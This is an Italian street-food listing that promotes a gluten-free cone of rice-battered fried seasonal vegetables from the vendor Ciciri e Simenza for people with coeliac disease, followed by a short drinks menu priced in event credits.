Quante volte un celiaco attraversando un tipico mercato siciliano ha avuto un tuffo al cuore sentendo l’odore fragrante e avvolgente delle verdure in pastella appena fritte? Eppure non poteva certo godersele, dato che la panatura e la pastella di questi piatti street food sono preparate con farina 00 e dunque contengono glutine. Con Ciciri e Simenza il piacere di un Coppu Senza Glutine diventa per tutti, perché le verdure fresche, di stagione e locali come i finocchi, le cipolle, i cardi, i broccoli e altre varietà offerte dall’orto vengono preparate con una pastella di riso, impanate con farina di mais e fritte in olio di girasole alto oleico. Il tutto servito nel tipico coppu adatto al consumo in strada e alla condivisione.

Street Fooder: Ciciri e Simenza
Crediti: 50

Birra per celiaci

Crediti: 40

Birra Peroni

Crediti: 30

Bibita Polara

Crediti: 20

Vino Bianco o Rosso

Crediti: 20

Acqua Sabrinella

Crediti: 10